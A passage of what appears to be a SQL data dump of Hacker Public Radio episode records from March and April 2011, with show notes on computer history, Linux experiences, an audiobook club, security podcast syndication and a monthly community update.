HREF=\"https://www.scosche.com/ecom/download/SOLBAT2_SglPg.pdf\">https://www.scosche.com/ecom/download/SOLBAT2_SglPg.pdf</A>\r\n</UL>',94,0,1,'CC-BY-NC-SA','battery,review,solar',0,2495,1),
(686,'2011-03-21','Terminally Stupid Episode 2',778,'Mrs. Xoke scours the net to find us those that hit rock bottom and started digging.','MrsXoke presents Terminally Stupid Episode 2\r\n\r\nFull show notes at <a href=\"https://captaindramaticsmom.blogspot.com/2011/03/episode-2-terminally-stupid.html\">https://captaindramaticsmom.blogspot.com/2011/03/episode-2-terminally-stupid.html</a>',154,0,1,'CC-BY-NC-SA','Terminally Stupid,fun,comedic',0,2479,1),
(687,'2011-03-22','pre-IBM PC computer history 1',586,'MrGadgets speaks of early computers','We continue our historical journey with MrGadgets as we explore how computers used to be.\r\n\r\nIf you had problems with the first show please download it again <a href=\"https://hackerpublicradio.org/eps/hpr0681.mp3\">https://hackerpublicradio.org/eps/hpr0681.mp3</a>',155,0,1,'CC-BY-NC-SA','\"radio shack\",retro,unix',0,2475,1),
(688,'2011-03-23','Badge Of Infamy',4139,'The first HPR Audio Book Club show: Badge Of Infamy written by Lester Del Rey','<P>\r\nIn the first HPR audio book club show Dann Washko, Integgroll, and pokey discuss the podiobooks.com presentation of Badge Of Infamy written by Lester Del Rey, and read by Steven Wilson. This episode contains spoilers, in the second half, so please listen to the audiobook for yourself before listening to the podcast all the way through. All three hosts enjoyed and recommend the book.\r\n</P>\r\n<P>\r\nYou can download this audiobook for free (or voluntary donation) from <A HREF=\"https://www.podiobooks.com/title/badge-of-infamy\">https://www.podiobooks.com/title/badge-of-infamy</A>\r\n</P>\r\n<P>\r\nDuring this show the hosts also discuss alcohol beverages. \r\n</P>\r\n<P>\r\n<UL>\r\n<LI>Integgroll was drinking Flying Dog Tire Bite Golden Ale. <A HREF=\"https://www.flyingdogales.com/Beer-Tire-Bite.aspx\">https://www.flyingdogales.com/Beer-Tire-Bite.aspx</A>\r\n<LI>pokey was drinking 2009 Apothic Red Winemaker\'s Blend. <A HREF=\"https://www.apothic.com/\">https://www.apothic.com/</A>\r\n<LI>Dann was drinking Miller Genuine Draft. <A HREF=\"https://www.mgd.com/\">https://www.mgd.com/</A>\r\n</UL>\r\n</P>\r\n<P>\r\nOur next audiobook will be Shadowmagic by Lohn Lenahan. It is alsoavailable at podiobooks. The direct link is:<br />\r\n<A HREF=\"https://www.podiobooks.com/title/shadowmagic\">https://www.podiobooks.com/title/shadowmagic</A>\r\n</P>\r\n<P>\r\nIf you enjoy this episode of HPR, you can find more podcasts by our hosts at:\r\n<UL>\r\n<LI><A HREF=\"https://linuxindahouse.org/\">https://linuxindahouse.org/</A>\r\n<LI><A HREF=\"https://www.tllts.org/\">https://www.tllts.org/</A>\r\n<LI><A HREF=\"https://techmisfits.com/\">https://techmisfits.com/</A>\r\n</UL>\r\n</P>\r\n<P>\r\nWe all had a great time recording this show, and we hope you enjoyed it as well. Thank you very much for listening.\r\n</P>\r\n<P>\r\nSincerely,<br />\r\nThe HPR_AudioBookClub\r\n</P>\r\n<P>\r\nP.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.\r\n</P>\r\n',157,53,1,'CC-BY-NC-SA','\"HPR AudioBookClub\",\"Badge Of Infamy\"',0,2385,1),
(689,'2011-03-24','Eurotrash Security Podcast Episode 19: Haroon Meer',5096,'The Eurotrash security podcast interviews security professional, Haroon Meer.','Originally Aired on Thu, 24 Feb 2011 21:55:00 GMT\r\n<br />\r\nThe Eurotrash Security Podcast\r\n<br />\r\nMost podcasts in the Information Security realm are US-focused. While we love and continue to listen to these, we thought something was missing: a EU-focused Information Security Podcast. And this is our attempt to provide you with one. Easy? Not at all. Podcasting is hard, no doubt about that, and we will probably suck for some dozen episodes to come. But we believe that we will get there, just bear with us ...\r\n<br />\r\nEpisode 19: Haroon Meer is one kick-ass dude from South Africa and found some spare time to talk to us on infosec, his new venture Thinkst, Zacon and other stuff! And Wicked Clown is back!',158,54,1,'CC-BY-NC-SA','security,conference,interview',0,2420,1),
(690,'2011-03-25','Resources for Autodidacts',676,'Resources for autodidacts - those that learn without the benefit of a teacher or formal education','<p>Proposal for a new HPR \"series\"</p>\r\n\r\n<p>What web resources (instructional sites, podcasts, video tutorials) and dead-tree resources have you found helpful in learning Linux, programming, and F/LOSS software?  In the tradition of our standard contributor podcasts (like “How I Got Started with Linux” or “My First Computer”), Curbuntu proposes an ongoing category in which we share these learning resources with each other.</p>\r\n\r\n<p>The topic is kicked off with these suggestions:</p>\r\n\r\n<ul>\r\n<li>The <strong>Hewlett-Packard Learning Center</strong> (<a href=\"https://h30187.www3.hp.com/all_courses.jsp\" target=\"_blank\">https://h30187.www3.hp.com/all_courses.jsp</a>).  While signing in with a username and password is required, the courses at the site are free.</li>\r\n<li>The <strong>ODFAuthors.org</strong> site (<a href=\"https://odfauthors.org\" target=\"_blank\">https://www.odfauthors.org</a>), the place to find outstanding, comprehensive, and (best of all) <em>free</em> manuals for the various OpenOffice.org and LibreOffice modules like Writer, Calc, and Impress.</li>\r\n<li>An example of the printed, for-pay versions of the ODFAuthors.org books can be found at <a href=\"https://www.lulu.com/product/paperback/openofficeorg-3-writer-guide/6570202\" target=\"_blank\">https://www.lulu.com/product/paperback/openofficeorg-3-writer-guide/6570202</a>.</li>\r\n</ul>',136,0,1,'CC-BY-NC-SA','learning,tutorial',0,2400,1),
(691,'2011-03-28','pre-IBM PC computer history 2',1396,'MrGadgets talks more about early computers (before the PC)','<p>We continue our historical journey with MrGadgets as we explore how computers used to be.</p>\n\n<h3>Links</h3>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/S-100_bus\">S-100 bus (Wikipedia)</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Ohio_Scientific\">Ohio Scientific Inc. (Wikipedia)</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Motorola_6800\">Motorola 6800 (Wikipedia)</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Commodore_VIC-20\">Commodore VIC-20</a></li>\n</ul>\n',155,0,1,'CC-BY-NC-SA','\"s-100 bus\",CP/M,\"Ohio Scientific Inc.\",\"Motorola 6800\",\"Commodore VIC-20\"',0,2477,1),
(692,'2011-03-29','audacity to mess with satan',311,'A quick episode including garage security, book recommendations, and devious audio manipulation','<P>\r\nsecurity cam\r\n<UL>\r\n<LI><A HREF=\"https://www.lavrsen.dk/foswiki/bin/view/Motion/WebHome\">https://www.lavrsen.dk/foswiki/bin/view/Motion/WebHome</A>\r\n<LI><A HREF=\"https://www.chriswpage.com/tag/dropbox/\">https://www.chriswpage.com/tag/dropbox/</A>\r\n</UL>\r\n</P>\r\n<P>\r\nbooks\r\n<UL>\r\n<LI><A HREF=\"https://calibre-ebook.com/\">https://calibre-ebook.com/</A>\r\n<LI><A HREF=\"https://www.phys.uu.nl/~0020621/CP/unixforthebeginningmage.pdf\">https://www.phys.uu.nl/~0020621/CP/unixforthebeginningmage.pdf</A>\r\n<LI><A HREF=\"https://unixmages.com/\">https://unixmages.com/</A>\r\n<LI><A HREF=\"https://shop.fsf.org/category/books/\">https://shop.fsf.org/category/books/</A>\r\n</UL>\r\n</P>\r\n<P>\r\nreverse speach\r\n<UL>\r\n<LI><A HREF=\"https://en.wikipedia.org/wiki/Reverse_speech\">https://en.wikipedia.org/wiki/Reverse_speech</A>\r\n<LI><A HREF=\"https://audacity.sourceforge.net/\">https://audacity.sourceforge.net/</A>\r\n</UL>\r\n</P>\r\n<P>',110,0,1,'CC-BY-NC-SA','\"audio editing\",\"book review\",security',0,2408,1),
(693,'2011-03-30','Terminally Stupid Episode 3',825,'Mrs. Xoke scours the net to find us those that hit rock bottom and started digging.','MrsXoke presents Terminally Stupid Episode 3',154,0,1,'CC-BY-NC-SA','Terminally Stupid,fun,comedic',0,2472,1),
(694,'2011-03-31','The U-Cubed Event',707,'The Full circle podcast interview Jon Spriggs and Les Pounder about organizing U-Cubed','<p>The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\r\nFind us at <a href=\"https://www.fullcirclemagazine.org/podcast\" target=\"_blank\">https://www.fullcirclemagazine.org/podcast</a>.</p>\r\n<p>Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine dot org forward slash podcast, send us a comment to podcast (at) fullcirclemagazine.org</p>\r\n\r\n<p><strong>Your Host:</strong></p>\r\n<ul>\r\n	<li><strong>Robin  Catling</strong> (blog at <a href=\"https://catlingmindswipe.blogspot.com/\" target=\"_blank\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter) </li>\r\n	<li><strong>Ed  Hewitt (blog at <a href=\"https://www.edhewitt.co.uk/\">https://www.edhewitt.co.uk/</a>, @edhewitt on Twitter)</li>\r\n	<li><strong>Dave  Wilkins </strong></a></li>\r\n</ul>\r\n\r\n<p>Guests</p>\r\n<ul>\r\n	<li><strong>Jon Spriggs</strong></li>\r\n	<li><strong>Les Pounder</strong></li>\r\n</ul>\r\n\r\n<p><em>Additional audio by Victoria Pritchard</em></p>\r\n\r\n<p><strong>01:51 | THE U-CUBED EVENT...</strong> organised by Les and Jon.</p>\r\n\r\n<ul>\r\n	<li>When: Sat. April 2nd, 10.00am.</li>\r\n	<li>Where: Mad-Lab, Manchester, UK .</li>\r\n	<li>Cost: Free, tickets via the web-site.</li>\r\n	<li>Info: <a href=\"https://ucubed.info/\">ucubed.info.</a> </li>\r\n</ul>\r\n<p><strong>Runtime:</strong> 11mins 48seconds</p>',160,0,1,'CC-BY-NC-SA','Full Circle Podcast',0,2262,1),
(695,'2011-04-01','Behind the Scenes at HPR. A community update for the month 2011-03',1581,'HPR Community News for March 2011','<h3>New hosts</h3>\r\n<p>\r\nWelcome to \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=156\">marcoz</a>\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=155\">MrGadgets</a>, and\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=154\">MrsXoke</a>. We welcome new hosts.\r\n</p>\r\n\r\n<h3>Show Review</h3>\r\n<UL>\r\n<li>676 :: Ken Fallon :: Behind the Scenes at Hacker Public Radio. A community update for the month 2011-02.</li>\r\n<li>677 :: lostnbronx :: THEATER OF THE IMAGINATION: PART 2</li>\r\n<li>678 :: MrsXoke :: Terminally Stupid Episode 1</li>\r\n<li>679 :: Michael Foord :: A Little Bit of Python: Episode 14 2010-06-06</li>\r\n<li>680 :: Broam :: Auctions yard sales and flea markets</li>\r\n<li>681 :: MrGadgets :: My first computer</li>\r\n<li>682 :: pokey :: NELF & Taxes</li>\r\n<li>683 :: marcoz :: Xorg GSoC call for students</li>\r\n<li>684 :: Ken Fallon :: Eben Moglen Freedom In the Cloud</li>\r\n<li>685 :: riddlebox :: Product Review SunVolt</li>\r\n<li>686 :: MrsXoke :: Terminally Stupid Episode 2</li>\r\n<li>687 :: MrGadgets :: pre-IBM PC computer history 1</li>\r\n<li>688 :: HPR_AudioBookClub :: Badge Of Infamy</li>\r\n<li>689 :: Various Creative Commons Works :: Eurotrash Security Podcast Episode 19: Haroon Meer</li>\r\n<li>690 :: Curbuntu:: Resources for Autodidacts</li>\r\n<li>691 :: MrGadgets :: pre-IBM PC computer history 2</li>\r\n<li>692 :: Quvmoh :: audacity to mess with satan</li>\r\n<li>693 :: Mrs. Xoke :: Terminally Stupid ep 3</li>\r\n<li>694 :: Full Circle Podcast :: The U-Cubed Event</li>\r\n</UL>\r\n\r\n<h3>Apologies To:</h3>\r\n<UL>\r\n<li>To Dave Yeats for apologising like him</li>\r\n<li>MrGadgets for messing up the encoding of his first episode</li>\r\n<li>Dodgy Geezer for the audio intros to the syndicated Thursdays shows</li>\r\n<li>klaatu for suggesting that he had abandoned HPR.</li>\r\n</UL>\r\n\r\n<h3>Thanks to</h3>\r\n<UL>\r\n<li>The mail list for checking MrGadgets first show></li>\r\n<li>droops for clarifying that HPR own the Mic logo</li>\r\n<li>To the person that assisted in clearing up an issue in the last podcast</li>\r\n<li>all the podcasts that play our promo</li>\r\n<li>Dann Washko, Integgroll, and pokey for tracking down <a href=\"https://hackerpublicradio.org/incoming/media/PB-Shadowmagic-28.mp3\">episode 28 of shadow magic</a></li>\r\n<li>morgellon the lowtek mystic for the photos of the indiana linuxfest</li>\r\n<li>again pokeys mom for the HPR promo</li>\r\n<li>pokey for sending out all the stickers out of his own pocket</li>\r\n<li>code cruncher for paying for the business cards out of her own pocket</li>\r\n<li>pokey and code cruncher for being amazing - more info next month</li>\r\n</UL>\r\n\r\n<h3>Podcasts by Phone</h3>\r\n<!-- pokies mom promo -->\r\n\r\n<p>\r\nEvery listener is <strong>strongly</strong> encouraged to send us one contribution per year.<br />\r\nIn episode 636 pokey told us that his Mother also listens to the show from time to time and this month she upheld her end of the <a href=\"https://hackerpublicradio.org/promote/pokeiesmom.ogg\">bargain</a>.<br />\r\n\r\nThe call in lines<br />\r\n<ul>\r\n<li>US:  +1-206-312-5749 </li>\r\n<li>UK: +44-203-432-5879 </li>\r\n</ul>\r\n<br />\r\nPlease include your name and email address.<br />\r\nDON\'T FORGET TO ADD THE # SIGN AT THE END<br />\r\nThanks to Russ Woodman - K5TUX and Arron \'Finux\' Finnon for making this possible.\r\n</p>\r\n\r\n<h3>Hobby Public Radio dot org</h3>\r\n<p>I have put up a test wordpress site on my shared server with the intention of seeing if we can replicate and improve on the functionality of our current site. Please don\'t link to this site.<br />\r\n<ul>\r\n<li>Account Management</li>\r\n<li>Comments</li>\r\n<li>Scheduling</li>\r\n</ul>\r\nAnyone with experience of wordpress and wants to help email admin at hpr dot org.\r\n</p>\r\n\r\n<h3>Changes afoot at Binrev</h3>\r\n<p>\r\nBinRev is our parent site and HPR is hosted on a binrev server.<br />\r\nStankDawg pays the bills for this service and I was tipped off to a post that he made on 23 March 2011 where he notifies us that a server move is on the cards. <br />\r\n<a href=\"https://www.binrev.com/forums/index.php/blog/1/entry-269-here-we-go-again/\">https://www.binrev.com/forums/index.php/blog/1/entry-269-here-we-go-again/</a>\r\n</p>\r\n<p>\r\nI\'m trying to arrange an interview with StankDawg to explain to us what BinRev is and what its goals are.\r\n</p>\r\n\r\n\r\n\r\n<h3>HPR Stickers</h3>\r\n<p>\r\n<img src=\"https://www.hackerpublicradio.org/promote/hpr_sticker.png\">\r\n</p>\r\n<embed type=\"application/x-shockwave-flash\" src=\"https://picasaweb.google.com/s/c/bin/slideshow.swf\" width=\"600\" height=\"400\" flashvars=\"host=picasaweb.google.com&captions=1&hl=en_US&feat=flashalbum&RGB=0x000000&feed=https%3A%2F%2Fpicasaweb.google.com%2Fdata%2Ffeed%2Fapi%2Fuser%2Fhackerpublicradio%2Falbumid%2F5580883041542604241%3Falt%3Drss%26kind%3Dphoto%26hl%3Den_US\" pluginspage=\"https://www.macromedia.com/go/getflashplayer\"></embed> \r\n<p>\r\nPhotos from pokey, Ken Fallon, droops, FiftyOneFifty, Curbuntu, smartasstronaut, Bruce_Patterson, Fabian Scherschel (@fabsh), code_cruncher, axis and Mrs. Xoke.\r\n\r\n</p>\r\n\r\n<h3>Audio Book Club</h3>\r\n<P>\r\nOur next audiobook will be Shadowmagic by Lohn Lenahan. It is also available at podiobooks. <br />\r\nThe direct link is:\r\n<a href =\"https://www.podiobooks.com/title/shadowmagic\">https://www.podiobooks.com/title/shadowmagic</a><br />\r\nIf you are missing Episode 28 then you can get it here :\r\n<a href=\"https://hackerpublicradio.org/incoming/media/PB-Shadowmagic-28.mp3\">https://hackerpublicradio.org/incoming/media/PB-Shadowmagic-28.mp3</a>\r\n</P>\r\n\r\n<h3>HPR Appeal</h3>\r\n<p>\r\nLast month I mentioned that klaatu has not posted a show that month. I was contacted by Karen from the Free as in Freedom oggcast (<a href=\"https://www.faif.us/\">https://www.faif.us/</a>) to tell me that klaatu had been arrested by the department of immigration while urban camping in some corporate head quarters in Cupertino. She wasn\'t allowed to say much apart from that the department of homeland security is now involved as well and have confiscated his laptop and are holding him at an undisclosed location.<br /> \r\nWe are collecting some money to aid in his release so if you can help please go over and donate at: <BR />\r\n<a href=\"https://hackerpublicradio.org/freeklaatu\">https://hackerpublicradio.org/freeklaatu</a>\r\n</p>\r\n\r\n<h3>Events</h3>\r\n<hr>\r\n<p> \r\n<strong>Northeast GNU/Linux Fest Details Saturday, April 2, 2011 Worcester MA</strong>\r\n<br /> \r\n<a href=\"https://www.northeastlinuxfest.org/\" target=\"_blank\"><img alt=\"Northeast GNU/Linux Fest Details Saturday, April 2, 2011\" src=\"https://www.northeastlinuxfest.org/sites/default/files/logo.png\" /></a><br /> \r\nMore <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2010-December/000161.html\">information</a>.\r\n</p> \r\n<hr>\r\n<a href=\"https://ucubed.info/\" target=\"_blank\"><img alt=\"THE U-CUBED EVENT Sat. April 2nd, 10.00am\" src=\"https://ucubed.info/user/themes/ucubed/images/ucubed.png\"/></a><br /> \r\n<p><strong>THE U-CUBED EVENT...</strong> organised by Les and Jon.</p>\r\n\r\n<ul>\r\n        <li>When: Sat. April 2nd, 10.00am.</li>\r\n        <li>Where: Mad-Lab, Manchester, UK .</li>\r\n        <li>Cost: Free, tickets via the web-site.</li>\r\n        <li>Info: <a href=\"https://ucubed.info/\">ucubed.info.</a> </li>\r\n</ul>\r\n<hr>\r\n<p> \r\n<strong>Linuxfest Northwest 2011 - April 30th-May 1st Bellingham, WA</strong><br /> \r\n<a href=\"https://www.linuxfestnorthwest.org/\" target=\"_blank\"><img alt=\"Linuxfest Northwest 2011 - April 30th-May 1st\" src=\"https://linuxfestnorthwest.org/sites/default/files/badge2011-small.png\" /></a> \r\n<br /> \r\nMore <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2011-February/000241.html\">information</a>.\r\n<br /> \r\nHPR is going Northeast and then Northwest with tables at both Linuxfests. We would like people to help out at the table, finding equipment etc. \r\n<br /> \r\n \r\nHow it all started: here is the link to pokey\'s first mail about the table at NELF:\r\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2010-December/000161.html\r\n\"> https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2010-December/000161.html </a> \r\n \r\n<br /> \r\nWe are also running a <a href=\"https://kenfallon.com/?p=827\">Competition to design Mini Business Cards for HPR</a> which we would like to have for the fest. <br />\r\nThey submitted entries have all won a book and they are all up on the picasaweb site <a href=\"https://picasaweb.google.com/108536234968997542346/DesignCompetition#\">https://picasaweb.google.com/108536234968997542346/DesignCompetition#</a>\r\n</p> \r\n\r\n<h3>Upcoming Shows</h3>\r\n<pre>\r\nMrGadgets Path toward Linux\r\nSeries of Best Of Full Circle \r\nInterview with <a href=\"https://en.wikipedia.org/wiki/John_Draper\">Captain Crunch</a>\r\n</pre><p /><hr> \r\n',159,47,1,'CC-BY-NC-SA','Community News',0,2342,1),
(696,'2011-04-04','MrGadgets Path toward Linux',823,'Mr Gadgets talks about how he got to Linux','<p>MrGadgets\' final episode on his Path toward Linux</p>\n\n<p>Other shows in this group are:</p>\n<ol>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=696\">2011-04-04, MrGadgets Path toward Linux</li>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=726\">2011-05-15, Journey to Linux</li>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=752\">2011-06-20, My Path to Linux: Knoppix</li>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=766\">2011-07-10, MrGadgets finds Linux</li>\n</ol>\n\n<h3>Links</h3>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Moog_synthesizer\">Moog Synthesizer (Wikipedia)</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Commodore_PET\">Commodore PET (Wikipedia)</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/TRS-80_Color_Computer\">TRS-80 Color Computer (Wikipedia)</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/KIM-1\">KIM-1 (Wikipedia)</a></li>\n</ul>\n',155,29,1,'CC-BY-NC-SA','6502,Z80,6800,\"Moog Synthesizer\",\"Commodore PET\",\"TRS-80 Color Computer\",KIM-1',0,2461,1),
(697,'2011-04-05','Aaron Seigo on accessibility in KDE. An outtake from Frostcast Episode 36.',2045,'Aaron Seigo, KDE Developer, talks about accessibility in KDE','<p>After his outspoken criticism of accessibility in Ubuntu, Jonathan Nadeau has become the standard bearer for accessibility on the FLOSS desktop. In his interview with the KDE spokesperson Aaron Seigo, Jonathan didn\'t ask any questions about accessibility. I was expecting to hear what accessibility improvements are in the pipeline for KDE.\r\n</p>\r\n<p>When I contacted Jonathan about it he immediately replied saying that they did talk about accessibility. He didn\'t add it as the show was running too long and that he might release it as a separate podcast. I floated the idea of releasing it on HPR and he was kind enough to mail me the segment.\r\n</p>\r\n<p>A link to the rest of the interview:<br />\r\n<a href=\"https://frostbitemedia.libsyn.com/frostcast-episode-36\">https://frostbitemedia.libsyn.com/frostcast-episode-36</a></p>\r\n<p><em>HPR has now no shows in the queue. HPR is a community feed and without shows it will cease to exist. Many people have stepped up and recorded shows but I know there are many more out there who have it in them to contribute. With that in mind please record a show today. Thank you.</em></p>\r\n',161,79,1,'CC-BY-NC-SA','accessibility,kde,interview',0,2220,1),
(698,'2011-04-06','How I Found Linux',1357,'code.cruncher explains where they began in computing, and how they found Linux','<P>\r\nAfter years of using Unix, Mac, and Windows I finally converted my two Windows computers to Linux for real. <br />\r\nThe journey into Linux started with not being successful at writing a startup script for Linux. A few years later I discovered some Linux love when writing a driver that would make the keyboard LED lights blink the morse code of the letters being typed. A year ago I did a few virtual Linux installations (archLinux, Debian) in VirtualBox to test out some Cloud Computing stuff. \r\nBefore Christmas 2010, I was considering contributing to the KDE project and installed Kubuntu as well as Ubuntu. <br />\r\nThis year, because I am going to the LinuxFest NorthWest (and I am going to have a table there for HackerPublicRadio) I had to install Linux on my old Windows Laptop. I also converted my Samsung Q1 Ultra Tablet computer from WindowsXP to Ubuntu. <br />\r\nBoth conversions were successful, but a few problems had to be solved for which <A HREF=\"https://answers.launchpad.net/ubuntu\">https://answers.launchpad.net/ubuntu</A> is a great place to go and find or get answers.\r\n</P>\r\n<P>\r\nBTW: If you\'re going to <A HREF=\"https://www.linuxfestnorthwest.org/\">https://www.linuxfestnorthwest.org/</A> please come and say \"hi\" at the HPR table and if you can help out at the table please let me know code.cruncher_hpr at yahoo ca.\r\n</P>',162,29,1,'CC-BY-NC-SA','development,\"dual boot\",distrohopping,linux',0,2491,1),
(699,'2011-04-07','r0xy interviews Cap\'n Crunch on cacti radio',8211,'An interview with the legendary phone phreak John Thomas Draper, AKA Cap\'n Crunch','<p>\r\nThis interview was held a little over a month ago on cacti radio.<br />\r\n<a href=\"https://www.cactiradio.com\">https://www.cactiradio.com</a>\r\n</p>\r\n<p>\r\nJohn Thomas Draper (born 1943), also known as Captain Crunch, Crunch or Crunchman (after Cap\'n Crunch, the mascot of a breakfast cereal), is a computer programmer and former phone phreak. He is a legendary figure within the computer programming world.\r\n</p>',163,78,1,'CC-BY-NC-SA','interview,phreaking',0,2620,1),
(700,'2011-04-08','Tech Tales of April\'s Past',949,'Mr Gadgets speaks of Computer History in the context of April','<h2 id=\"history-of-computing\">History of Computing</h2>\n<ul>\n<li>Don Lancaster <a href=\"https://en.wikipedia.org/wiki/Don_Lancaster\" class=\"uri\">https://en.wikipedia.org/wiki/Don_Lancaster</a>\n<ul>\n<li><em>TV Typewriter Cookbook</em></li>\n<li>Electronic kit to turn a TV and keyboard into a teletype replacement</li>\n<li>Postscript as a language\n<ul>\n<li>Apple LaserWriter had a Postscript interpreter</li>\n<li>Usable as a computational engine</li>\n</ul></li>\n<li>Contributions to a number of magazines</li>\n<li>April Fools joke: Apple II extension card using RS232 to make a small matter <em>transporter</em></li>\n</ul></li>\n<li>Bart Busschots (NosillaCast podcast and others)\n<ul>\n<li>Why does PDF run code and open security holes?</li>\n</ul></li>\n</ul>\n<p><small><small>Notes added 2019-07-05</small></small></p>\n',155,0,1,'CC-BY-NC-SA','Don Lancaster,Postscript,PDF,LaserWriter,Apple II',0,2452,1),
(701,'2011-04-11','Backing Up Your Data Introduction',1170,'Considerations to take into account when planning your backup strategy','<p>\r\nIn this HPR episode I\'m going to talk to you about the ideas, concepts and things to thing about when you want to start backing up your data. This is part 1 of a series of shows.</p>',164,0,1,'CC-BY-NC-SA','backup,howto',0,2417,1),
(702,'2011-04-12','50th anniversary of human space flight',3433,'A celebration of the 50th anniversary of manned human space flight','<P>\r\n50 years ago today a historic event took place and here on Hacker Public Radio we take time out to celebrate the occaision with recordings of the Radio communications between Yuri Gagarin, Sergei Korolev and Ground Control during launch. Then we listen to a 45 rpm record at the Soviet Exhibition in London in 1961.\r\n</p>\r\n<p>\r\nAfter this we listen to the The flight of Vostok 1 as described on Wikipedia <A HREF=\"https://en.wikipedia.org/wiki/Vostok_1\">https://en.wikipedia.org/wiki/Vostok_1</A> and play a promo for the film \"first orbit\" <A HREF=\"https://www.firstorbit.org/watch-the-film\">https://www.firstorbit.org/watch-the-film</A> been released as part of Yuris Night <A HREF=\"https://www.yurisnight.net/\">https://www.yurisnight.net/</A> a world wide celebration of the event.\r\n</p>\r\n<p>\r\nTo close with the biography of Yuri Gagarin from <A HREF=\"https://en.wikipedia.org/wiki/Yuri_Gagarin\">https://en.wikipedia.org/wiki/Yuri_Gagarin</A>.\r\n</P>\r\n\r\n<h3>Radio communications between Yuri Gagarin, Sergei Korolev and Ground Control </h3>\r\n<object style=\"height: 390px; width: 640px\"><param name=\"movie\" value=\"https://www.youtube.com/v/Wyrj0ibxt8c?version=3\"><param name=\"allowFullScreen\" value=\"true\"><param name=\"allowScriptAccess\" value=\"always\"><embed src=\"https://www.youtube.com/v/Wyrj0ibxt8c?version=3\" type=\"application/x-shockwave-flash\" allowfullscreen=\"true\" allowScriptAccess=\"always\" width=\"640\" height=\"390\"></object>\r\n\r\n<h3>Yuri Gagarin in Space (English Commentary) from a 45 rpm record at the Soviet Exhibition in London in 1961</h3>\r\n<object style=\"height: 390px; width: 640px\"><param name=\"movie\" value=\"https://www.youtube.com/v/CrBK5Gk77TU?version=3\"><param name=\"allowFullScreen\" value=\"true\"><param name=\"allowScriptAccess\" value=\"always\"><embed src=\"https://www.youtube.com/v/CrBK5Gk77TU?version=3\" type=\"application/x-shockwave-flash\" allowfullscreen=\"true\" allowScriptAccess=\"always\" width=\"640\" height=\"390\"></object>\r\n\r\n<h3>First Orbit</h3>\r\n<object style=\"height: 390px; width: 640px\"><param name=\"movie\" value=\"https://www.youtube.com/v/RKs6ikmrLgg?version=3\"><param name=\"allowFullScreen\" value=\"true\"><param name=\"allowScriptAccess\" value=\"always\"><embed src=\"https://www.youtube.com/v/RKs6ikmrLgg?version=3\" type=\"application/x-shockwave-flash\" allowfullscreen=\"true\" allowScriptAccess=\"always\" width=\"640\" height=\"390\"></object>\r\n\r\n<h3>Star Trek Theme Faith of The Heart Remake: Sputnik & yuri gagarin</h3>\r\n<object style=\"height: 390px; width: 640px\"><param name=\"movie\" value=\"https://www.youtube.com/v/2y_FcxFseyc?version=3\"><param name=\"allowFullScreen\" value=\"true\"><param name=\"allowScriptAccess\" value=\"always\"><embed src=\"https://www.youtube.com/v/2y_FcxFseyc?version=3\" type=\"application/x-shockwave-flash\" allowfullscreen=\"true\" allowScriptAccess=\"always\" width=\"640\" height=\"390\"></object>',30,0,1,'CC-BY-NC-SA','space,history',0,2328,1),
(703,'2011-04-13','My Computer History',292,'My Computer History','<UL>\r\n<LI>Digiac3080 <A HREF=\"https://www.flickr.com/photos/queensborough-at50/3746353292/\">https://www.flickr.com/photos/queensborough-at50/3746353292/</A>\r\n<LI><A HREF=\"https://en.wikipedia.org/wiki/PDP-11\">https://en.wikipedia.org/wiki/PDP-11</A>\r\n<LI><A HREF=\"https://www.pdp11.org/\">https://www.pdp11.org/</A>\r\n<P></P>\r\n</UL>',165,29,1,'CC-BY-NC-SA','computing history,vintage hardware,nelf',0,2372,1),
(704,'2011-04-14','Disaster Protocol: Annoyed!',3012,'Episode 20 of Disaster Protocol: A NSFW podcast about information security news','<P>\r\nSyndicated Thursday presents \r\n</P>\r\n<P>\r\nDisaster Protocol: Annoyed!\r\n</P>\r\n<P>\r\nOrigionally aired on Sun, 27 Mar 2011 23:58:54 +0000\r\n</P>\r\n<P>\r\nNo alcohol, what more can we say? Enjoy the bile and vitriol.\r\n</P>\r\n<P>\r\nAbout Disaster Protocol \r\nThe Disaster Protocol Podcast is an IT Security Podcast which aims to educate the listener about current news and stories regarding the IT security sector. Originally name S.H.I.T.cast (Student Hacker Information Technology podcast), it was aimed at a lower level of audience and was more about having fun then getting anything technical across.\r\nThere are two hosts to the podcast, Matthew Hughes and Thomas Mackenzie.\r\nMatthew Hughes is an Ethical Hacking student at a British University and is the leader developer of SecurityBSD.co.uk. He is known on the podcast for his random facts and amazing shoot downs towards Tom.\r\nThomas Mackenzie is a student studying the same course at the same University as Matt. He is the co-developer of upsploit.com and works part-time from randomstorm.com. \r\n</P>',158,0,1,'CC-BY-NC-SA','news,security,\"syndicated thursday\"',0,2439,1),
(705,'2011-04-15','My first linux box',308,'A new host\'s first show - about Linux experiences','<p>\r\nThis is my first podcast; it begins with my first linux box, why I still run linux.  Followed by a quick review of arch linux, the distro I am currently running.  Lastly a quick shout out for the NWLF.\r\n</p>\r\n',167,0,1,'CC-BY-NC-SA','RedHat,\"Arch Linux\",\"Linux Fest North West\"',0,2409,1),
